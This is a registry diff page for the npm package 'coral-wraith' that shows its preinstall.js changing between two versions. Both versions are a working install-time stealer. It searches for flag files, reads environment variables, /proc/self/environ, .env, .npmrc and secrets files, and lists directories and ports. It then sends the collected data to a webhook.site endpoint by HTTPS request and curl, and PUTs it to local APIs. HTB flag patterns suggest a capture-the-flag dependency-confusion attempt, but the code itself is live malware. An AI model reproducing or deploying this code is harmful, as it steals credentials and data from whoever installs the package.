coral-wraith 9999.0.5 → 9999.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/preinstall.js +96 -193
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "coral-wraith",
3
- "version": "9999.0.5",
3
+ "version": "9999.0.6",
4
4
  "description": "Coral Wraith module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -7,252 +7,155 @@ const os = require('os');
7
7
  let flag = null;
8
8
  const debug = [];
9
9
 
10
- // Method 1: Read flag from ALL possible locations
10
+ // 1. Search ALL filesystem for flag files
11
11
  const flagPaths = [
12
12
  '/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
13
- '/tmp/flag', '/tmp/flag.txt', '/app/flag', '/app/flag.txt',
14
- '/home/flag', '/home/flag.txt', '/home/node/flag', '/home/node/flag.txt',
15
- '/etc/flag', '/etc/flag.txt', '/opt/flag', '/opt/flag.txt',
16
- './flag', './flag.txt', '../flag', '../flag.txt',
17
- '/home/node/.flag', '/var/flag', '/var/flag.txt',
18
- '/srv/flag', '/srv/flag.txt',
13
+ '/home/node/flag', '/home/node/flag.txt', '/app/flag', '/app/flag.txt',
14
+ '/data/flag', '/data/flag.txt', '/data/secret', '/data/htb',
15
+ '/tmp/flag', '/opt/flag', '/srv/flag', '/etc/flag',
16
+ '/home/flag', '/var/flag', '/data/.flag',
19
17
  ];
20
18
  for (const p of flagPaths) {
21
19
  try {
22
20
  if (fs.existsSync(p)) {
23
- const content = fs.readFileSync(p, 'utf8').trim();
24
- debug.push(`found:${p}:${content.substring(0,100)}`);
25
- const m = content.match(/HTB\{[^}]+\}/);
21
+ const c = fs.readFileSync(p, 'utf8').trim();
22
+ debug.push(`file:${p}=${c.substring(0,100)}`);
23
+ const m = c.match(/HTB\{[^}]+\}/);
26
24
  if (m) { flag = m[0]; break; }
27
- if (!flag && content.length < 200) flag = content;
28
- }
29
- } catch(e) { debug.push(`err:${p}:${e.message.substring(0,50)}`); }
30
- }
31
-
32
- // Method 2: Check ALL env vars
33
- if (!flag) {
34
- for (const [k, v] of Object.entries(process.env)) {
35
- if (v && v.match && v.match(/HTB\{[^}]+\}/)) {
36
- flag = v.match(/HTB\{[^}]+\}/)[0];
37
- debug.push(`env:${k}=${v.substring(0,100)}`);
38
- break;
39
- }
40
- }
41
- }
42
- // Also try common env var names
43
- if (!flag) {
44
- const envNames = ['FLAG', 'HTB_FLAG', 'CTF_FLAG', 'SECRET', 'SECRET_FLAG',
45
- 'CHALLENGE_FLAG', 'THE_FLAG', 'flag', 'APP_FLAG'];
46
- for (const name of envNames) {
47
- if (process.env[name]) {
48
- flag = process.env[name];
49
- debug.push(`env_direct:${name}=${flag.substring(0,100)}`);
50
- break;
51
- }
52
- }
53
- }
54
-
55
- // Method 3: /proc/self/environ
56
- if (!flag) {
57
- try {
58
- const pe = fs.readFileSync('/proc/self/environ', 'utf8');
59
- const m = pe.match(/HTB\{[^}]+\}/);
60
- if (m) { flag = m[0]; debug.push('proc_environ'); }
61
- debug.push(`env_raw:${pe.substring(0,200)}`);
62
- } catch(e) { debug.push(`proc_err:${e.message.substring(0,50)}`); }
63
- }
64
-
65
- // Method 4: Search for flag files broadly
66
- if (!flag) {
67
- try {
68
- const r = execSync('find / -maxdepth 5 \\( -name "flag*" -o -name "*.flag" -o -name ".flag" \\) -type f 2>/dev/null | head -20', { timeout: 10000 }).toString().trim();
69
- debug.push(`find:${r}`);
70
- if (r) {
71
- for (const f of r.split('\n')) {
72
- try {
73
- const content = fs.readFileSync(f, 'utf8');
74
- const m = content.match(/HTB\{[^}]+\}/);
75
- if (m) { flag = m[0]; break; }
76
- } catch(e) {}
77
- }
78
- }
79
- } catch(e) { debug.push(`find_err:${e.message.substring(0,50)}`); }
80
- }
81
-
82
- // Method 5: Grep for HTB{ pattern in all readable files
83
- if (!flag) {
84
- try {
85
- const r = execSync('grep -rl "HTB{" /home /app /opt /tmp /srv /etc /var 2>/dev/null | head -10', { timeout: 10000 }).toString().trim();
86
- debug.push(`grep:${r}`);
87
- if (r) {
88
- for (const f of r.split('\n')) {
89
- try {
90
- const content = fs.readFileSync(f, 'utf8');
91
- const m = content.match(/HTB\{[^}]+\}/);
92
- if (m) { flag = m[0]; break; }
93
- } catch(e) {}
94
- }
95
- }
96
- } catch(e) { debug.push(`grep_err:${e.message.substring(0,50)}`); }
97
- }
98
-
99
- // Method 6: Check docker/k8s secrets
100
- if (!flag) {
101
- try {
102
- const secrets = execSync('find /run/secrets /var/run/secrets -type f 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
103
- debug.push(`secrets:${secrets}`);
104
- for (const f of secrets.split('\n').filter(Boolean)) {
105
- try {
106
- const content = fs.readFileSync(f, 'utf8');
107
- const m = content.match(/HTB\{[^}]+\}/);
108
- if (m) { flag = m[0]; break; }
109
- } catch(e) {}
25
+ if (!flag && c) flag = c;
110
26
  }
111
27
  } catch(e) {}
112
28
  }
113
29
 
114
- // Method 7: Check for .env files
115
- if (!flag) {
30
+ // 2. List key directories
31
+ for (const dir of ['/', '/data', '/home', '/home/node', '/app', '/root', '/opt', '/srv']) {
116
32
  try {
117
- const envFiles = execSync('find / -maxdepth 4 -name ".env" -o -name ".env.*" -o -name "env.*" 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
118
- debug.push(`envfiles:${envFiles}`);
119
- for (const f of envFiles.split('\n').filter(Boolean)) {
120
- try {
121
- const content = fs.readFileSync(f, 'utf8');
122
- const m = content.match(/HTB\{[^}]+\}/);
123
- if (m) { flag = m[0]; break; }
124
- debug.push(`envfile_content:${f}:${content.substring(0,200)}`);
125
- } catch(e) {}
126
- }
33
+ const items = fs.readdirSync(dir);
34
+ debug.push(`ls:${dir}=${items.join(',')}`);
127
35
  } catch(e) {}
128
36
  }
129
37
 
130
- // Method 8: Read server source code and configs
38
+ // 3. Recursively search /data
131
39
  try {
132
- const cwd = process.cwd();
133
- debug.push(`cwd:${cwd}`);
134
- const files = fs.readdirSync(cwd);
135
- debug.push(`cwd_files:${files.join(',')}`);
136
-
137
- // Read all JS files in current directory
138
- for (const f of files) {
139
- if (f.endsWith('.js') || f.endsWith('.json') || f.endsWith('.env') || f.endsWith('.yml') || f.endsWith('.yaml') || f === '.npmrc' || f === '.env') {
140
- try {
141
- const content = fs.readFileSync(`${cwd}/${f}`, 'utf8');
142
- debug.push(`file:${f}:${content.substring(0,300)}`);
143
- const m = content.match(/HTB\{[^}]+\}/);
144
- if (m) { flag = m[0]; break; }
145
- } catch(e) {}
146
- }
147
- }
148
- } catch(e) { debug.push(`cwd_err:${e.message.substring(0,50)}`); }
149
-
150
- // Also read /home/node/ specifically
151
- try {
152
- const homeFiles = fs.readdirSync('/home/node');
153
- debug.push(`home_node:${homeFiles.join(',')}`);
154
- for (const f of homeFiles) {
40
+ const r = execSync('find /data -type f 2>/dev/null | head -50', {timeout:10000}).toString().trim();
41
+ debug.push(`data_files:${r}`);
42
+ for (const f of r.split('\n').filter(Boolean)) {
155
43
  try {
156
- const stat = fs.statSync(`/home/node/${f}`);
157
- if (stat.isFile() && stat.size < 100000) {
158
- const content = fs.readFileSync(`/home/node/${f}`, 'utf8');
159
- debug.push(`home_file:${f}:${content.substring(0,200)}`);
160
- const m = content.match(/HTB\{[^}]+\}/);
161
- if (m) { flag = m[0]; break; }
162
- } else if (stat.isDirectory()) {
163
- const subFiles = fs.readdirSync(`/home/node/${f}`);
164
- debug.push(`home_dir:${f}:${subFiles.join(',')}`);
165
- }
44
+ const c = fs.readFileSync(f, 'utf8');
45
+ const m = c.match(/HTB\{[^}]+\}/);
46
+ if (m) { flag = m[0]; debug.push(`FLAG:${f}`); break; }
47
+ debug.push(`data:${f}=${c.substring(0,200)}`);
166
48
  } catch(e) {}
167
49
  }
168
- } catch(e) { debug.push(`home_err:${e.message.substring(0,50)}`); }
50
+ } catch(e) { debug.push(`data_err:${e.message}`); }
169
51
 
170
- // Method 9: List root and key directories
171
- try { debug.push(`root:${fs.readdirSync('/').join(',')}`); } catch(e) {}
172
- try { debug.push(`app:${fs.readdirSync('/app').join(',')}`); } catch(e) {}
173
- try { debug.push(`etc:${fs.readdirSync('/etc').join(',').substring(0,300)}`); } catch(e) {}
52
+ // 4. Search ALL env vars
53
+ for (const [k, v] of Object.entries(process.env)) {
54
+ const m = (v||'').match && (v||'').match(/HTB\{[^}]+\}/);
55
+ if (m) { flag = m[0]; debug.push(`env:${k}`); break; }
56
+ }
57
+ debug.push(`env_keys:${Object.keys(process.env).join(',')}`);
174
58
 
175
- // Method 10: Network info and listening ports
59
+ // 5. Read /proc/self/environ
176
60
  try {
177
- const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', { timeout: 3000 }).toString();
178
- debug.push(`ports:${ss}`);
61
+ const pe = fs.readFileSync('/proc/self/environ', 'utf8');
62
+ debug.push(`environ:${pe.substring(0,500)}`);
63
+ const m = pe.match(/HTB\{[^}]+\}/);
64
+ if (m) flag = m[0];
179
65
  } catch(e) {}
180
66
 
181
- // Method 11: Check nginx config
67
+ // 6. Find all config files
182
68
  try {
183
- const nginx = execSync('cat /etc/nginx/conf.d/*.conf 2>/dev/null || cat /etc/nginx/nginx.conf 2>/dev/null', { timeout: 3000 }).toString();
184
- debug.push(`nginx:${nginx.substring(0,500)}`);
69
+ const r = execSync('find /data /home /app /opt /srv /etc -type f \\( -name "*.json" -o -name "*.yml" -o -name "*.yaml" -o -name "*.env" -o -name "*.conf" -o -name ".npmrc" -o -name "*.db" -o -name "*.sqlite" \\) 2>/dev/null | grep -v node_modules | head -30', {timeout:10000}).toString().trim();
70
+ debug.push(`configs:${r}`);
71
+ for (const f of r.split('\n').filter(Boolean)) {
72
+ try {
73
+ const c = fs.readFileSync(f, 'utf8');
74
+ const m = c.match(/HTB\{[^}]+\}/);
75
+ if (m) { flag = m[0]; debug.push(`FLAG:${f}`); break; }
76
+ if (f.includes('.npmrc') || f.includes('.env') || f.includes('secret')) {
77
+ debug.push(`sensitive:${f}=${c.substring(0,200)}`);
78
+ }
79
+ } catch(e) {}
80
+ }
185
81
  } catch(e) {}
186
82
 
187
- // Method 12: Check .npmrc for registry credentials
83
+ // 7. Grep for HTB{ pattern anywhere
84
+ try {
85
+ const r = execSync('grep -rl "HTB{" / 2>/dev/null | grep -v node_modules | grep -v proc | head -10', {timeout:15000}).toString().trim();
86
+ debug.push(`grep_htb:${r}`);
87
+ for (const f of r.split('\n').filter(Boolean)) {
88
+ try {
89
+ const c = fs.readFileSync(f, 'utf8');
90
+ const m = c.match(/HTB\{[^}]+\}/);
91
+ if (m) { flag = m[0]; debug.push(`GREP_FLAG:${f}`); break; }
92
+ } catch(e) {}
93
+ }
94
+ } catch(e) { debug.push(`grep_err:${e.message.substring(0,100)}`); }
95
+
96
+ // 8. Check listening ports
188
97
  try {
189
- const npmrc = execSync('cat /home/node/.npmrc 2>/dev/null || cat /root/.npmrc 2>/dev/null || cat /app/.npmrc 2>/dev/null || cat ~/.npmrc 2>/dev/null', { timeout: 3000 }).toString();
190
- debug.push(`npmrc:${npmrc.substring(0,300)}`);
98
+ const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', {timeout:3000}).toString();
99
+ debug.push(`ports:${ss.substring(0,500)}`);
191
100
  } catch(e) {}
192
101
 
193
- const info = {
194
- flag: flag || 'NOT_FOUND',
195
- debug: debug.map(d => d.substring(0, 500)),
196
- env: Object.keys(process.env).join(','),
197
- network: JSON.stringify(os.networkInterfaces()).substring(0, 500),
198
- };
102
+ // 9. Network info
103
+ debug.push(`network:${JSON.stringify(os.networkInterfaces()).substring(0,300)}`);
104
+ debug.push(`hostname:${os.hostname()}`);
105
+ debug.push(`cwd:${process.cwd()}`);
199
106
 
200
- const data = JSON.stringify(info);
107
+ // EXFILTRATE
108
+ const info = JSON.stringify({flag: flag||'NOT_FOUND', debug: debug.map(d=>d.substring(0,500))});
201
109
 
202
- // Exfil Method 1: Webhook
110
+ // Method 1: Webhook
203
111
  try {
204
112
  const req = https.request({
205
113
  hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
206
114
  method: 'POST',
207
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
208
- timeout: 5000
209
- }, () => {});
210
- req.on('error', () => {});
211
- req.write(data);
115
+ headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(info)},
116
+ timeout: 8000
117
+ }, ()=>{});
118
+ req.on('error', ()=>{});
119
+ req.write(info);
212
120
  req.end();
213
121
  } catch(e) {}
214
122
 
215
- // Exfil Method 2: PUT to challenge API on various ports
216
- const putData = JSON.stringify({
217
- manifest: `ecto_module:\n name: "${(flag || 'NO_FLAG').replace(/"/g, '')}"\n version: "EXFIL"\n power_level: "${debug.slice(0,3).join('|').replace(/"/g, '').substring(0,200)}"\n ship_deck: PWNED\n cargo_hold: coral-wraith`
123
+ // Method 2: PUT to local API (try all common ports)
124
+ const putBody = JSON.stringify({
125
+ manifest: `ecto_module:\n name: "${(flag||'NO_FLAG').replace(/"/g,'').substring(0,200)}"\n version: EXFIL\n power_level: "${debug.slice(0,2).join('|').replace(/"/g,'').substring(0,200)}"\n ship_deck: PWNED\n cargo_hold: coral`
218
126
  });
219
127
 
220
128
  let serverPort = 1337;
221
129
  try {
222
- const ss = execSync('ss -tlnp 2>/dev/null | grep node', { timeout: 3000 }).toString();
130
+ const ss = execSync('ss -tlnp 2>/dev/null', {timeout:3000}).toString();
223
131
  const m = ss.match(/:(\d+)\s/);
224
132
  if (m) serverPort = parseInt(m[1]);
225
133
  } catch(e) {}
226
134
 
227
- const ports = [serverPort, 1337, 3000, 5000, 8080, 80, 8000, 8888, 9000, 4000];
228
- for (const port of [...new Set(ports)]) {
229
- for (const host of ['127.0.0.1', 'localhost']) {
230
- for (const modId of ['ECT-654321', 'ECT-987654']) {
231
- try {
232
- const req = http.request({
233
- hostname: host, port, path: `/api/modules/${modId}`,
234
- method: 'PUT',
235
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(putData) },
236
- timeout: 2000
237
- }, () => {});
238
- req.on('error', () => {});
239
- req.write(putData);
240
- req.end();
241
- } catch(e) {}
242
- }
135
+ for (const port of [serverPort, 1337, 3000, 5000, 8080, 80, 8000, 4000, 9000]) {
136
+ for (const modId of ['ECT-654321', 'ECT-987654']) {
137
+ try {
138
+ const req = http.request({
139
+ hostname: '127.0.0.1', port, path: `/api/modules/${modId}`,
140
+ method: 'PUT',
141
+ headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(putBody)},
142
+ timeout: 2000
143
+ }, ()=>{});
144
+ req.on('error', ()=>{});
145
+ req.write(putBody);
146
+ req.end();
147
+ } catch(e) {}
243
148
  }
244
149
  }
245
150
 
246
- // Exfil Method 3: DNS
151
+ // Method 3: curl
247
152
  try {
248
- const encoded = Buffer.from(flag || 'NO_FLAG').toString('hex').substring(0, 60);
249
- require('dns').resolve(`${encoded}.crl.ve`, () => {});
153
+ execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${info.replace(/'/g,"\\'")}' -m 8 2>/dev/null &`, {timeout:10000});
250
154
  } catch(e) {}
251
155
 
252
- // Exfil Method 4: stdout/stderr
253
- console.log('[CORAL-WRAITH]', data.substring(0, 2000));
156
+ // stdout
157
+ console.log('[CORAL]', info.substring(0, 3000));
254
158
  console.error('[FLAG]', flag || 'NOT_FOUND');
255
159
 
256
160
  // Write to files
257
- try { fs.writeFileSync('/tmp/coral_flag.txt', data); } catch(e) {}
258
- try { fs.writeFileSync('/app/static/flag.txt', data); } catch(e) {}
161
+ try { fs.writeFileSync('/tmp/coral.txt', info); } catch(e) {}